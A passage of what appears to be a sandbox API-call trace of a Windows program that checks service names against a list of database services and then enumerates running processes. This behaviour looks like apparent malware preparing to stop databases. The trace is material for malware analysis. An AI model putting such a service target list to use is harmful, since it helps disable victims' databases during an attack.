(lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0157.999] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0157.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0157.999] lstrlenW (lpString="EventLog") returned 8 [0157.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0157.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0157.999] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0157.999] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0157.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0157.999] lstrlenW (lpString="EventSystem") returned 11 [0157.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0157.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0157.999] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0157.999] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0157.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0157.999] lstrlenW (lpString="FontCache") returned 9 [0157.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0157.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0158.000] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0158.000] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0158.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0158.000] lstrlenW (lpString="gpsvc") returned 5 [0158.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0158.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0158.000] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0158.000] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0158.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0158.000] lstrlenW (lpString="iphlpsvc") returned 8 [0158.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0158.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0158.000] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0158.000] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0158.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0158.000] lstrlenW (lpString="KeyIso") returned 6 [0158.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0158.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0158.000] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0158.000] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0158.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0158.000] lstrlenW (lpString="LanmanServer") returned 12 [0158.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0158.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0158.000] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0158.000] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0158.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0158.000] lstrlenW (lpString="LanmanWorkstation") returned 17 [0158.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0158.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0158.000] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0158.000] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0158.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0158.001] lstrlenW (lpString="lfsvc") returned 5 [0158.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0158.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0158.001] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0158.001] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0158.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0158.001] lstrlenW (lpString="lmhosts") returned 7 [0158.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0158.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0158.006] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0158.006] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0158.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0158.006] lstrlenW (lpString="LSM") returned 3 [0158.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0158.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0158.006] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0158.006] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0158.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0158.006] lstrlenW (lpString="MpsSvc") returned 6 [0158.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0158.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0158.006] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0158.006] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0158.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0158.006] lstrlenW (lpString="NcbService") returned 10 [0158.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0158.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0158.007] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0158.007] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0158.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0158.007] lstrlenW (lpString="netprofm") returned 8 [0158.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0158.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0158.007] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0158.007] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0158.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0158.007] lstrlenW (lpString="NgcSvc") returned 6 [0158.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0158.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0158.007] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0158.007] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0158.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0158.007] lstrlenW (lpString="NlaSvc") returned 6 [0158.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0158.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0158.007] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0158.007] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0158.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0158.007] lstrlenW (lpString="nsi") returned 3 [0158.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0158.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0158.007] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0158.007] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0158.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0158.007] lstrlenW (lpString="PcaSvc") returned 6 [0158.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0158.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0158.007] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0158.007] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0158.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0158.008] lstrlenW (lpString="PlugPlay") returned 8 [0158.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0158.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0158.008] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0158.008] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0158.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0158.008] lstrlenW (lpString="Power") returned 5 [0158.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0158.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0158.008] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0158.008] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0158.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0158.008] lstrlenW (lpString="ProfSvc") returned 7 [0158.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0158.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0158.008] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0158.008] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0158.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0158.008] lstrlenW (lpString="RpcEptMapper") returned 12 [0158.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0158.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0158.008] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0158.008] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0158.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0158.008] lstrlenW (lpString="RpcSs") returned 5 [0158.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0158.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0158.008] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0158.008] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0158.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0158.008] lstrlenW (lpString="SamSs") returned 5 [0158.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0158.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0158.009] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0158.009] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0158.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0158.009] lstrlenW (lpString="Schedule") returned 8 [0158.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0158.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0158.009] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0158.009] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0158.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0158.009] lstrlenW (lpString="SecurityHealthService") returned 21 [0158.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0158.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0158.009] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0158.009] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0158.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0158.009] lstrlenW (lpString="SENS") returned 4 [0158.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0158.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0158.009] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0158.009] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0158.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0158.009] lstrlenW (lpString="ShellHWDetection") returned 16 [0158.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0158.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0158.009] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0158.009] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0158.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0158.009] lstrlenW (lpString="Spooler") returned 7 [0158.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0158.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0158.009] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0158.009] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0158.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0158.010] lstrlenW (lpString="StateRepository") returned 15 [0158.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0158.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0158.010] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0158.010] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0158.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0158.010] lstrlenW (lpString="SysMain") returned 7 [0158.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0158.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0158.010] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0158.010] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0158.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0158.010] lstrlenW (lpString="SystemEventsBroker") returned 18 [0158.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0158.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0158.010] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0158.010] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0158.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0158.010] lstrlenW (lpString="Themes") returned 6 [0158.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0158.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0158.010] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0158.010] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0158.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0158.010] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0158.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0158.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0158.010] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0158.010] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0158.011] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0158.011] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x348 [0158.013] Process32FirstW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.014] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0158.014] lstrlenW (lpString="System") returned 6 [0158.014] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0158.015] lstrlenW (lpString="smss.exe") returned 8 [0158.019] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0158.020] lstrlenW (lpString="csrss.exe") returned 9 [0158.020] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0158.020] lstrlenW (lpString="wininit.exe") returned 11 [0158.020] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0158.021] lstrlenW (lpString="csrss.exe") returned 9 [0158.021] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0158.021] lstrlenW (lpString="winlogon.exe") returned 12 [0158.021] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0158.022] lstrlenW (lpString="services.exe") returned 12 [0158.022] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0158.023] lstrlenW (lpString="lsass.exe") returned 9 [0158.023] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.024] lstrlenW (lpString="svchost.exe") returned 11 [0158.024] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0158.024] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0158.024] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0158.025] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0158.025] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.025] lstrlenW (lpString="svchost.exe") returned 11 [0158.025] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0158.026] lstrlenW (lpString="dwm.exe") returned 7 [0158.026] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.026] lstrlenW (lpString="svchost.exe") returned 11 [0158.026] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.027] lstrlenW (lpString="svchost.exe") returned 11 [0158.027] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.028] lstrlenW (lpString="svchost.exe") returned 11 [0158.028] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.028] lstrlenW (lpString="svchost.exe") returned 11 [0158.028] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.029] lstrlenW (lpString="svchost.exe") returned 11 [0158.029] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.030] lstrlenW (lpString="svchost.exe") returned 11 [0158.030] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.030] lstrlenW (lpString="svchost.exe") returned 11 [0158.030] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.475] lstrlenW (lpString="svchost.exe") returned 11 [0158.475] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.476] lstrlenW (lpString="svchost.exe") returned 11 [0158.476] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.477] lstrlenW (lpString="svchost.exe") returned 11 [0158.477] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0158.477] lstrlenW (lpString="spoolsv.exe") returned 11 [0158.477] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.478] lstrlenW (lpString="svchost.exe") returned 11 [0158.478] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0158.478] lstrlenW (lpString="audiodg.exe") returned 11 [0158.479] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0158.479] 